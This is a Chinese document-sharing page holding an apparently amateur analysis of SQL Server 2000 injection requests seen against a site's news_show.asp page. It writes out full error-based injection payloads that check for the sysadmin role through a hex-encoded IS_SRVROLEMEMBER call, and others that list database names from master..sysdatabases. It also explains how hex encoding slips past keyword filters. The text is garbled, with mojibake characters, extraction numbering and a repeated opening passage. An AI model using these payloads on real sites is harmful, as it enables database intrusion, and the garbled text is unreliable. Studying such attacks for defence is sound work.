資源描述:
《sqlserver2000注入》由會員上傳分享,免費在線閱讀,更多相關(guān)內(nèi)容在工程資料-天天文庫。
1、關(guān)于user,system_user的解釋,點上面的鏈接到msdn上去看看?! ast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1中cast()作用是將一種數(shù)據(jù)類型
的表達式顯式轉(zhuǎn)換為另一種數(shù)據(jù)類型的表達式。CAST和CONVERT提供相似的功能。IS_SRVROLEMEMBER指示SQLServer2005登錄名是否為指
定固定服務(wù)器角色的成員,返回值類型為int,0表示不是某某成員,1表示是。0×730079007300610064006D0
2、069006E00是’sysadmin’的16進
制碼,為啥要弄成16進制呢,我猜想可能是怕網(wǎng)站程序過濾點sysadmin關(guān)鍵字,如果頁面正常返回(200),則表示該用戶是sysadmin。精心將int轉(zhuǎn)
換成nvarchar(1)又會暴出類型轉(zhuǎn)換錯誤,而這就是黑客所需要的信息。db_name()回暴出當(dāng)前數(shù)據(jù)庫名?! ?declare%20@a%20int–申明一個int變量a,作用我不得而知。 接下來的工作是列出服務(wù)器上的數(shù)據(jù)庫名:(假設(shè)服務(wù)器上有16個數(shù)據(jù)庫) news_show.asp?id=15618And(Selectchar(124)%2BCast(Coun
3、t(1)asvarchar(8000))%2Bchar(124)Frommaster..sysdatabases)%3E0 news_show.asp?id=15618Andchar(124)+(SelectTop1cast([name]asvarchar(8000))from(SelectTop1dbid,namefrom
[master]..[sysdatabases]orderby[dbid])Torderby[dbid]desc)>0 news_show.asp?id=15618Andchar(124)+(SelectTop1cast([name]asvarcha
4、r(8000))from(SelectTop2dbid,namefrom
[master]..[sysdatabases]orderby[dbid])Torderby[dbid]desc)>0 news_show.asp?id=15618And(SelectTop1cast([name]asnvarchar(4000))%2Bchar(124)from(SelectTop16dbid,namefrom
[master].[dbo].[sysdatabases]orderby[dbid])Torderby[dbid]desc)>0 先列出上面UrlEncode的字符 %2
5、B—‘+’ %3E—‘>’ %20—‘‘ %2F—‘/’ 我只能說這些sql語句構(gòu)造得是相當(dāng)?shù)那擅畎?,我開始納悶了,為啥非要用子查詢呢。于是我直接用 SelectTopXdbid,namefrom[master].[dbo].[sysdatabases]orderby[dbid] 當(dāng)X為1,也就是返回第一個的時候,是沒有問題的,返回了master,但是X為2的時候就出現(xiàn)錯誤: “子查詢返回的值多于一個。當(dāng)子查詢跟隨在=、!=、<、<=、>、>=之后,或子查詢用作表達式時,這種情況是不允許的。” 這個時候子查詢就起到了關(guān)鍵作用。還有開始不知道T是啥玩意,后來才知
6、道sqlserver子查詢必須要起一個別名,T就是那個別名,然后把
查詢的語句繼續(xù)和0比較報錯這樣就暴出了所有的數(shù)據(jù)庫名?! £P(guān)于user,system_user的解釋,點上面的鏈接到msdn上去看看?! ast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1中cast()作用是將一種數(shù)據(jù)類型
的表達式顯式轉(zhuǎn)換為另一種數(shù)據(jù)類型的表達式。CAST和CONVERT提供相似的功能。IS_SRVROLEMEMBER指示SQLServer2005登錄名是否為指
7、
定固定服務(wù)器角色的成員,返回值類型為int,0表示不是某某成員,1表示是。0×730079007300610064006D0069006E00是’sysadmin’的16進
制碼,為啥要弄成16進制呢,我猜想可能是怕網(wǎng)站程序過濾點sysadmin關(guān)鍵字,如果頁面正常返回(200),則表示該用戶是sysadmin。精心將int轉(zhuǎn)
換成nvarchar(1)又會暴出類型轉(zhuǎn)換錯誤,而這就是黑客所需要的信息。db_name()回暴出當(dāng)前數(shù)據(jù)庫名?! ?declare%20@a%20int–申明一個int變量a